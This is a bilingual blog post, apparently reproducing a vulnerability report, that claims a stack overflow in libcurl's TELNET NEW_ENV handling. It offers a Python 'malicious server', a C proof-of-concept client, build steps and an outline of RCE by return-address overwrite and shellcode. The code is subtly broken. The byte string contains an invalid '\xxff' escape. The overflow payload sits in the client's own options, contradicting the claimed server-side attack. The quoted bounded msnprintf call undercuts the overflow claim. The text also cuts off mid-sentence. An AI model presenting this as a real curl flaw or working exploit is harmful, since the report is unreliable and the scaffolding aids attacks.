cURL TELNET NEW_ENV选项处理中的栈缓冲区溢出漏洞分析

本文详细分析了cURL库TELNET处理器中存在的栈缓冲区溢出漏洞。该漏洞位于libcurl的suboption()函数中,当客户端连接到恶意TELNET服务器时,服务器可通过发送NEW_ENVIRON SEND请求触发溢出,导致程序崩溃甚至远程代码执行。

Stack-based Buffer Overflow in TELNET NEW_ENV Option Handling

Vulnerability Description

Summary

libcurl TELNET处理器中存在栈缓冲区溢出漏洞。当libcurl连接到恶意TELNET服务器时,服务器可通过发送NEW_ENVIRON SEND请求触发溢出。这会导致客户端构造的响应覆盖固定大小的栈缓冲区,引发崩溃和潜在的远程代码执行(RCE)。用户使用curl命令行工具或任何使用libcurl的应用程序连接到恶意URL时都可能触发此漏洞。

Root Cause Analysis

漏洞位于curl/lib/telnet.c文件中的suboption()函数。当客户端收到服务器发送环境变量的请求时(通过CURLOPT_TELNETOPTIONS设置指定),它尝试在栈上构建响应数据包。

函数在栈上分配2048字节的缓冲区temp:

1
unsigned char temp[2048];

然后遍历用户提供的环境变量(tn->telnet_vars)。在将变量写入缓冲区前,执行大小检查:

1
2
3
4
size_t tmplen = (strlen(v->data) + 1);
if(len + tmplen < (int)sizeof(temp)-6) {
    // ... 写入缓冲区的代码 ...
}

漏洞在于if块内变量写入缓冲区的方式。如果变量包含逗号(NEW_ENV格式为VAR,VALUE),它会被以下msnprintf调用处理:

1
2
3
len += msnprintf((char *)&temp[len], sizeof(temp) - len,
                 "%c%.*s%c%s", CURL_NEW_ENV_VAR,
                 (int)vlen, v->data, CURL_NEW_ENV_VALUE, ++s);

长度检查仅考虑tmplen(原始字符串长度),但此msnprintf调用通过添加两个控制字符(CURL_NEW_ENV_VAR和CURL_NEW_ENV_VALUE)扩展了字符串。这种差异允许攻击者绕过长度检查。通过提供一系列精心设计的NEW_ENV选项,攻击者可使msnprintf写入远超2048字节的temp缓冲区边界,破坏栈。

Impact

这是高严重性漏洞。成功利用会导致通过栈破坏的拒绝服务(崩溃)。更重要的是,由于溢出可控,攻击者可能以运行curl客户端的用户权限实现远程代码执行(RCE)。

Proof of Concept (POC)

此概念验证可靠地演示了漏洞。需要两个组件:充当恶意TELNET服务器的简单Python服务器和使用libcurl连接到它的C程序。

Component 1: Malicious TELNET Server (tiny_telnet_server.py)

此服务器监听端口2323,连接时发送特定的TELNET命令序列(IAC SB NEW_ENVIRON SEND IAC SE)触发客户端中的漏洞代码路径。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket
import sys
import time

def main():
    host = '127.0.0.1'
    port = 2323

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((host, port))
    server.listen(1)
    print(f"[*] Simple TELNET server listening on {host}:{port}", file=sys.stderr)

    # Command: IAC SB NEW_ENVIRON SEND IAC SE
    telnet_command = b'\xff\xfa\x27\x01\xxff\xf0'

    try:
        conn, addr = server.accept()
        print(f"[+] Connection from {addr}", file=sys.stderr)
        print("[*] Sending TELNET NEW_ENVIRON command to trigger the vulnerability...", file=sys.stderr)
        conn.sendall(telnet_command)

        time.sleep(2) # Give client time to process and crash

        print("[*] Closing connection.", file=sys.stderr)
        conn.close()

    except Exception as e:
        print(f"[!] An error occurred: {e}", file=sys.stderr)
    finally:
        server.close()
        print("[*] Server shut down.", file=sys.stderr)

if __name__ == '__main__':
    main()

Component 2: Vulnerable Client (telnet_poc.c)

此C程序使用libcurl连接到服务器,使用特殊构造的CURLOPT_TELNETOPTIONS利用有缺陷的长度检查。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <curl/curl.h>

int main(void)
{
  CURL *curl;
  CURLcode res;
  struct curl_slist *options = NULL;

  curl_global_init(CURL_GLOBAL_DEFAULT);

  curl = curl_easy_init();
  if(curl) {
    /* This payload uses a series of environment variables that are sized to
       pass the flawed length check but expand via msnprintf to cause an
       overflow of the 2048-byte stack buffer. The format is "NEW_ENV=VAR,VALUE". */
    options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

    curl_easy_setopt(curl, CURLOPT_URL, "telnet://127.0.0.1:2323");
    curl_easy_setopt(curl, CURLOPT_TELNETOPTIONS, options);
    curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

    res = curl_easy_perform(curl);

    if(res != CURLE_OK && res != CURLE_RECV_ERROR)
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));

    curl_slist_free_all(options);
    curl_easy_cleanup(curl);
  }

  curl_global_cleanup();

  return 0;
}

Reproduction Steps

1. Set up the Environment

确保您有安装了必要构建工具的Linux环境。在基于Debian的系统(如Ubuntu)上,可以使用以下命令安装:

1
2
sudo apt-get update
sudo apt-get install gcc git autoconf libtool libpsl-dev

2. Clone the curl Repository

1
git clone https://github.com/curl/curl.git

3. Build libcurl from Source

这些命令将配置、编译和安装本地版本的libcurl。我们禁用SSL,因为演示此TELNET漏洞不需要它。

1
2
3
4
5
6
cd curl
autoreconf -fi
./configure --prefix=$(pwd)/build --without-ssl
make
make install
cd ..

4. Compile the Proof of Concept (PoC) Client

此命令编译telnet_poc.c并将其链接到您刚构建的libcurl。确保telnet_poc.c位于克隆curl文件夹的同一目录中。

1
gcc telnet_poc.c -o telnet_poc -I curl/build/include -L curl/build/lib -lcurl -Wl,-rpath,$(pwd)/curl/build/lib

5. Execute the Vulnerability Test

您需要两个独立的终端窗口进行此最终步骤,都在项目目录中打开。

Terminal 1: Start the Server 运行Python服务器监听连接。确保tiny_telnet_server.py在当前目录中。

1
python3 tiny_telnet_server.py

Terminal 2: Run the Client 服务器运行时,在第二个终端中执行编译的PoC客户端。

1
./telnet_poc

Expected Result: 终端2中的客户端将连接到服务器并打印详细连接信息。您将看到大量’A’字符流发送回服务器,表明客户端的栈缓冲区已溢出。程序随后将以错误终止,如"Recv failure: Connection reset by peer"(因为服务器挂断)或在许多系统上以"Segmentation fault"崩溃。任一结果都确认了内存损坏。

Impact

Detailed Impact Assessment

此栈缓冲区溢出的影响为高。漏洞允许两种主要攻击场景,从保证的拒绝服务到高概率的远程代码执行。

1. Denial of Service (DoS) - Guaranteed Impact

最直接且容易实现的影响是拒绝服务。如概念验证所示,攻击者可通过说服用户或应用程序使用特殊构造的选项连接到恶意TELNET服务器来触发栈缓冲区溢出。

当溢出发生时,程序栈上的关键数据被破坏。这些数据包括局部变量,最重要的是函数的保存返回地址。当suboption()函数尝试返回或访问此损坏的内存时,程序将因无效内存访问而崩溃。这会立即终止curl进程或任何使用libcurl库的应用程序,阻止其进一步运行。这是可远程触发、未经身份验证的拒绝服务。

2. Remote Code Execution (RCE) - Potential Impact

更关键的影响是潜在的远程代码执行。栈缓冲区溢出是实现RCE的经典且充分理解的向量。攻击者的目标不仅是崩溃程序,还要控制其执行流。

这通常通过以下方式实现:

  • 控制返回地址:栈上的主要目标是函数的返回地址。此地址告诉CPU在当前函数(suboption())完成后继续执行的位置。攻击者精心制作的有效载荷(溢出temp缓冲区)可以精确调整大小,用他们选择的地址覆盖此返回地址。

  • 注入恶意代码(Shellcode):攻击者可以在溢出数据本身中包含自己的小型可执行代码(称为"shellcode")。

  • 重定向执行:攻击者覆盖返回地址指向栈中,特别是他们的shellcode注入的位置。当suboption()函数完成时,它不是返回到合法的调用者,而是"返回"到攻击者的shellcode并开始执行它。

成功的RCE利用将授予攻击者在受害者机器上以运行curl命令的用户相同权限运行任意命令的能力。如果用户运行易受攻击的curl命令,攻击者将控制该用户帐户。如果命令由Web服务器、系统脚本或其他具有更高权限(如root)的自动化进程执行,攻击者可能获得对

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计